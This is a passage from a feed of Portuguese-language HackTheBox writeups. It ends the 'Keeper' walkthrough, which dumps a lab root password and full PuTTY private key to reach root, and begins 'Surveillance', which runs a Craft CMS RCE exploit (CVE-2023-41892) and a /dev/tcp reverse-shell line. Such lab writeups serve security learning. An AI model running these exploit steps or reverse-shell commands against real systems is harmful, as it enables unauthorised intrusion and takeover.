Combined: ●{,, l, `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;, ], A, I, :, =, _, c, M}dgr●d med fl●de
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Acima temos um resultado um tanto quanto estranho:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="err"&gt;●&lt;/span&gt;&lt;span class="nx"&gt;dgr&lt;/span&gt;&lt;span class="err"&gt;●&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="nx"&gt;med&lt;/span&gt; &lt;span class="nx"&gt;fl&lt;/span&gt;&lt;span class="err"&gt;●&lt;/span&gt;&lt;span class="nx"&gt;de&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mas pesquisando isso no google temos o seguinte resultado:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jb3csorkez0flzh38s6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jb3csorkez0flzh38s6.png" alt="Pudim" width="800" height="252"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rodgrod med flod&lt;/strong&gt; é um um pudim dinamarquês e se escreve da seguinte forma usando o alfabeto dinamarquês, que é o alfabeto romano completo. Onde existem mais três letras próprias (Æ, Ø, Å), com nossa resposta da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nx"&gt;rødgrød&lt;/span&gt; &lt;span class="nx"&gt;med&lt;/span&gt; &lt;span class="nx"&gt;fløde&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Que podemos confirmar ser a senha de acesso ao arquivo do &lt;strong&gt;KeePass&lt;/strong&gt; utilizando o &lt;strong&gt;kpcli&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/keeper]
└─# kpcli &lt;span class="nt"&gt;--kdb&lt;/span&gt; passcodes.kdbx
Provide the master password: &lt;span class="k"&gt;*************************&lt;/span&gt;

KeePass CLI &lt;span class="o"&gt;(&lt;/span&gt;kpcli&lt;span class="o"&gt;)&lt;/span&gt; v3.8.1 is ready &lt;span class="k"&gt;for &lt;/span&gt;operation.
Type &lt;span class="s1"&gt;'help'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;a description of available commands.
Type &lt;span class="s1"&gt;'help &amp;lt;command&amp;gt;'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;details on individual commands.

kpcli:/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Analisando o conteúdo deste cofre encontramos os dados de acesso do usuário root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kpcli:/&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Groups &lt;span class="o"&gt;===&lt;/span&gt;
passcodes/
kpcli:/&amp;gt; &lt;span class="nb"&gt;ls &lt;/span&gt;passcodes
&lt;span class="o"&gt;===&lt;/span&gt; Groups &lt;span class="o"&gt;===&lt;/span&gt;
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/

kpcli:/&amp;gt; &lt;span class="nb"&gt;ls &lt;/span&gt;passcodes/Network
&lt;span class="o"&gt;===&lt;/span&gt; Entries &lt;span class="o"&gt;===&lt;/span&gt;
0. keeper.htb &lt;span class="o"&gt;(&lt;/span&gt;Ticketing Server&lt;span class="o"&gt;)&lt;/span&gt;
1. Ticketing System

kpcli:/&amp;gt; show &lt;span class="nt"&gt;-f&lt;/span&gt; 0

Title: keeper.htb &lt;span class="o"&gt;(&lt;/span&gt;Ticketing Server&lt;span class="o"&gt;)&lt;/span&gt;
Uname: root
 Pass: F4&amp;gt;&amp;lt;3K0nd!
  URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       Comment: rsa-key-20230519
       Public-Lines: 6
       AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
       8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
       EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
       Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
       FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
       LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
       Private-Lines: 14
       AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
       oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
       kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
       f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
       VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
       UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
       OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
       in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
       SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
       09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
       xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
       AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
       AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
       &lt;span class="nv"&gt;NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
       Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Encontramos usuário, senha e chave do putty do usuário root. No entanto a senha não esta funcional via ssh ou via su.&lt;/p&gt;

&lt;p&gt;Mas temos uma chave &lt;strong&gt;ppk&lt;/strong&gt; em nosso vault, vamos salvar em um arquivo em nossa máquina local:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/keeper]
└─# &lt;span class="nb"&gt;cat &lt;/span&gt;root.ppk 
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
&lt;span class="nv"&gt;NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora iremos converter a chave &lt;strong&gt;ppk&lt;/strong&gt; do putty para um private key (pem) para acessarmos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─# puttygen root.ppk &lt;span class="nt"&gt;-O&lt;/span&gt; private-openssh &lt;span class="nt"&gt;-o&lt;/span&gt; root-key.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com essa nova chave privada podemos acessar como usuário root, buscar a root flag e finalizar a máquina.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/keeper]
└─# ssh &lt;span class="nt"&gt;-i&lt;/span&gt; keys/root-key.pem root@10.129.121.255
Welcome to Ubuntu 22.04.3 LTS &lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux 5.15.0-78-generic x86_64&lt;span class="o"&gt;)&lt;/span&gt;

 &lt;span class="k"&gt;*&lt;/span&gt; Documentation:  https://help.ubuntu.com
 &lt;span class="k"&gt;*&lt;/span&gt; Management:     https://landscape.canonical.com
 &lt;span class="k"&gt;*&lt;/span&gt; Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41
root@keeper:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
2340facd7897eea0d3b6276c6f269f33
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso finalizamos a máquina Keeper!&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Surveillance [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sat, 20 Apr 2024 15:29:02 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-surveillance-retired-1m1c</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-surveillance-retired-1m1c</guid>
      <description>&lt;h5&gt;
  
  
  Hackthebox
&lt;/h5&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível medium chamada &lt;strong&gt;Surveillance&lt;/strong&gt; que aborda as seguintes vulnerabilidades e técnicas de exploração:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2023-41892 - Remote Code Execution&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password Cracking com hashcat&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2023-26035 - Unauthenticated RCE&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Command Injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Iremos iniciar realizando uma varredura em nosso alvo a procura de portas abertas:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.45.83 
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-12-11 19:11 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.45.83
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.27s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    nginx 1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso podemos notar que existem duas portas, a porta 22 do ssh e a 80 que esta rodando um nginx.&lt;br&gt;&lt;br&gt;
O nginx é um servidor web e proxy reverso, vamos acessar nosso alvo por um navegador.&lt;/p&gt;

&lt;p&gt;Quando acessamos somos redirecionados para &lt;strong&gt;&lt;a href="http://surveillance.htb" rel="noopener noreferrer"&gt;http://surveillance.htb&lt;/a&gt;&lt;/strong&gt;, vamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
Com isso temos a seguinte págine web:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftzlm9f0z0q4254ggh9ea.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftzlm9f0z0q4254ggh9ea.png" alt="Surveillance.htb" width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se trata de um site de uma empresa de segurança e monitoramento que dispõe de câmeras, controle de acessos e etc.&lt;br&gt;&lt;br&gt;
Agora iremos em busca de endpoints e diretórios utilizando o gobuster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://surveillance.htb/ &lt;span class="nt"&gt;-k&lt;/span&gt; 
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.4
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:                     http://surveillance.htb/
&lt;span class="o"&gt;[&lt;/span&gt;+] Method:                  GET
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                /usr/share/wordlists/dirb/big.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Negative Status codes:   404
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.4
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2023/12/11 19:12:59 Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;directory enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.htaccess            &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 304]
/admin                &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/admin/login]
/css                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/css/]
/fonts                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/fonts/]
/images               &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/images/]
/img                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/img/]
/index                &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 1]
/js                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/js/]
/logout               &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://surveillance.htb/]
/p13                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p1                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p10                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p15                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p2                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p3                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p7                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/p5                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 16230]
/wp-admin             &lt;span class="o"&gt;(&lt;/span&gt;Status: 418&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 24409]
Progress: 20469 / 20470 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos alguns endpoints interessantes, dentre eles temos o &lt;strong&gt;/admin&lt;/strong&gt;. Aqui conseguimos identificar a CMS que o site foi criado, podemos constatar que se trata de um &lt;strong&gt;Craft CMS&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zuwoy9b7c4ee8wfghlk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zuwoy9b7c4ee8wfghlk.png" alt="Surveillance.htb" width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;De acordo com o próprio site do &lt;strong&gt;Craft CMS&lt;/strong&gt;, o Craft é um CMS flexível e fácil de usar para criar experiências digitais personalizadas na web e fora dela.&lt;/p&gt;

&lt;p&gt;Buscando por vulnerabilidades encontramos a &lt;a href="https://blog.calif.io/p/craftcms-rce" rel="noopener noreferrer"&gt;CVE-2023-41892&lt;/a&gt; que é um Remote Code Execution&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://securityonline.info/researcher-to-release-poc-exploit-for-critical-craft-cms-rce-cve-2023-41892-bug/?expand_article=1" rel="noopener noreferrer"&gt;https://securityonline.info/researcher-to-release-poc-exploit-for-critical-craft-cms-rce-cve-2023-41892-bug/?expand_article=1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;poc: &lt;a href="https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226" rel="noopener noreferrer"&gt;https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Aqui alteramos a Poc para que consigamos explorar a vulnerabilidade para realizar o upload do arquivo e executar os comandos remotos.&lt;br&gt;&lt;br&gt;
Agora com acesso ao shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# python3 CVE-2023-41892.py http://surveillance.htb/
&lt;span class="o"&gt;[&lt;/span&gt;-] Get temporary folder and document root ...
&lt;span class="o"&gt;[&lt;/span&gt;-] Write payload to temporary file ...
&lt;span class="o"&gt;[&lt;/span&gt;-] Trigger imagick to write shell ...
&lt;span class="o"&gt;[&lt;/span&gt;-] Done, enjoy the shell
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como temos um shell com poucos recursos com esse shell vamos abrir em outra aba o pwncat, que é um shell com diversas funções:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora vamos criar um arquivo chamado &lt;strong&gt;rev.sh&lt;/strong&gt; com o seguinte conteúdo e executar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat /tmp/rev.sh
sh -i 5&amp;lt;&amp;gt; /dev/tcp/10.10.14.229/9001 0&amp;lt;&amp;amp;5 1&amp;gt;&amp;amp;5 2&amp;gt;&amp;amp;5
$ bash /tmp/rev.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso temos nosso reserve shell no pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;17:00:52] received connection from 10.129.39.90:48380                                                                                    bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;17:00:57] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash                                                                manager.py:957
